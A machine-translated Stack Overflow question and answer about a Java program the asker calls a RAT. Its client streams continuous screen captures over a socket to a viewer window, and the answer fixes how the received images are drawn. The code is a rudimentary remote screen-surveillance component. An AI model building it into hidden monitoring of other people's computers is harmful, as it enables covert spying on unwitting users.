2012-08-07 131 views
0

我想做一個Java RAT,但atm我只有屏幕顯示。當我運行它,它顯示在JFrame的精細屏幕,但它一直拖着相同的圖像低一點,每個得出這樣的: screenJFrame打印很奇怪嗎?

客戶:

import java.awt.AWTException; 
import java.awt.Rectangle; 
import java.awt.Robot; 
import java.awt.Toolkit; 
import java.io.IOException; 
import java.net.Socket; 
import java.util.zip.GZIPOutputStream; 
import javax.imageio.ImageIO; 

public class Client { 

    public static void main(String[] args) { 
     try { 
      Robot robot = new Robot(); 
      Toolkit toolkit = Toolkit.getDefaultToolkit(); 
      Rectangle screen = new Rectangle((int) toolkit.getScreenSize().getWidth(), (int) toolkit.getScreenSize().getHeight()); 
      Socket socket = new Socket("127.0.0.1", 25565); 
      GZIPOutputStream out = new GZIPOutputStream(socket.getOutputStream()); 

      while(socket.isConnected()) { 
       ImageIO.write(robot.createScreenCapture(screen), "png", out); 
      } 
      out.close(); 
     } catch (AWTException e) { 
      e.printStackTrace(); 
     } catch (IOException e) { 
      e.printStackTrace(); 
     } 
    } 
} 

服務器:

import java.awt.image.BufferedImage; 
import java.io.IOException; 
import java.net.ServerSocket; 
import java.net.Socket; 
import java.util.zip.GZIPInputStream; 

import javax.imageio.ImageIO; 

public class Server { 

    public static void main(String[] args) { 
     try { 
      ServerFrame frame = new ServerFrame(); 
      ServerSocket serverSocket = new ServerSocket(25565); 
      Socket socket = serverSocket.accept(); 
      GZIPInputStream in = new GZIPInputStream(socket.getInputStream()); 
      BufferedImage image = null; 
      while(socket.isConnected()) { 
       image = ImageIO.read(in); 
       if(image != null) { 
        frame.setBufferedImage(image); 
       } 
      } 
      in.close(); 
     } catch (IOException e) { 
      e.printStackTrace(); 
     } 
    } 
} 

ServerFrame:

import java.awt.Graphics; 
import java.awt.image.BufferedImage; 

import javax.swing.JFrame; 

public class ServerFrame extends JFrame { 

    private BufferedImage image; 

    public ServerFrame() { 
     setTitle("RAT"); 
     setSize(1920, 1080); 
     setVisible(true); 
     image = null; 
    } 

    public void setBufferedImage(BufferedImage image) { 
     this.image = image; 
     this.repaint(); 
    } 

    public void paint(Graphics g) { 
     if(image != null) { 
      g.drawImage(image, 0, 0, this); 
     } 
    } 
} 

回答

0

對於SOM因此,當在JFrame中繪圖時,在g.drawImage(image, 0, 0, this);行中的屏幕截圖的繪製開始向上滑動並且在您最大化查看框架時離開。

嘗試從JPanel開始延伸ServerFrame並將其添加到JFrame,這樣您可以在左上角找到錨點。您也可以在其中添加JScrollPane,以便您可以使用屏幕截圖導航整個面板。

下面是我用來複制情況的代碼,只要按下某個鍵就可以捕獲屏幕。我將ServerFrame類更名爲ScreenCapture

希望它有幫助。

import java.awt.AWTException; 
import java.awt.Graphics; 
import java.awt.Rectangle; 
import java.awt.Robot; 
import java.awt.Toolkit; 
import java.awt.event.KeyEvent; 
import java.awt.event.KeyListener; 
import java.awt.image.BufferedImage; 

import javax.swing.JFrame; 
import javax.swing.JPanel; 

public class ScreenCapture extends JPanel implements KeyListener { 

    private BufferedImage image; 

    public ScreenCapture() { 
     setSize(1920, 1080); 
     setVisible(true); 
     image = null;  
    } 

    public void setBufferedImage() throws AWTException { 
     Robot robot = new Robot(); 
     Toolkit toolkit = Toolkit.getDefaultToolkit(); 
     Rectangle screen = new Rectangle((int) toolkit.getScreenSize().getWidth(), (int) toolkit.getScreenSize().getHeight()); 
     this.image = robot.createScreenCapture(screen); 
     this.repaint(); 
    } 

    public void paint(Graphics g) { 
     if (image != null) { 
      g.drawImage(image, 0, 0, this); 
     } 
    } 

    @Override 
    public void keyTyped(KeyEvent e) {} 

    @Override 
    public void keyPressed(KeyEvent e) { 
     try { 
      setBufferedImage(); 
     } catch (AWTException e1) { 
      e1.printStackTrace(); 
     } 
    } 

    @Override 
    public void keyReleased(KeyEvent e) {} 

    public static void main(String [] args) { 
     ScreenCapture capture = new ScreenCapture(); 

     JFrame frame = new JFrame(); 
     frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 
     frame.addKeyListener(capture); 
     frame.add(capture); 
     frame.setSize(500, 500); 
     frame.setVisible(true); 
    } 
} 

EDIT

這裏的一個代碼段包裹在一個JScollPane圖像。

import java.awt.AWTException; 
import java.awt.BorderLayout; 
import java.awt.Graphics; 
import java.awt.Rectangle; 
import java.awt.Robot; 
import java.awt.Toolkit; 
import java.awt.event.KeyEvent; 
import java.awt.event.KeyListener; 
import java.awt.image.BufferedImage; 

import javax.swing.ImageIcon; 
import javax.swing.JFrame; 
import javax.swing.JLabel; 
import javax.swing.JPanel; 
import javax.swing.JScrollPane; 

public class ScreenCapture extends JLabel implements KeyListener { 

    private BufferedImage image; 

    public ScreenCapture() { 
     setSize(1920, 1080); 
     setVisible(true); 
     image = null; 
    } 

    public void setBufferedImage() throws AWTException { 
     Robot robot = new Robot(); 
     Toolkit toolkit = Toolkit.getDefaultToolkit(); 
     Rectangle screen = new Rectangle((int) toolkit.getScreenSize() 
       .getWidth(), (int) toolkit.getScreenSize().getHeight()); 
     this.image = robot.createScreenCapture(screen); 
     this.setIcon(new ImageIcon(this.image)); 
     this.repaint(); 
    } 

    @Override 
    public void keyTyped(KeyEvent e) { 
    } 

    @Override 
    public void keyPressed(KeyEvent e) { 
     try { 
      setBufferedImage(); 
     } catch (AWTException e1) { 
      e1.printStackTrace(); 
     } 
    } 

    @Override 
    public void keyReleased(KeyEvent e) { 
    } 

    public static void main(String[] args) { 
     JPanel panel = new JPanel(); 
     panel.setLayout(new BorderLayout()); 

     ScreenCapture capture = new ScreenCapture(); 
     JScrollPane scroll = new JScrollPane(); 
     scroll.getViewport().add(capture); 
     panel.add(scroll, BorderLayout.CENTER); 

     JFrame frame = new JFrame(); 
     frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 
     frame.getContentPane().add(panel); 
     frame.addKeyListener(capture); 
     frame.setSize(500, 500); 
     frame.setVisible(true); 
    } 
} 
+0

非常感謝,我不能代表,但如果我能我肯定會:D – user1007883 2012-08-07 17:04:42

+0

沒問題:)。如果回答您的問題,您可以將答案標記爲正確。很高興我能幫上忙。 – 2012-08-07 17:09:47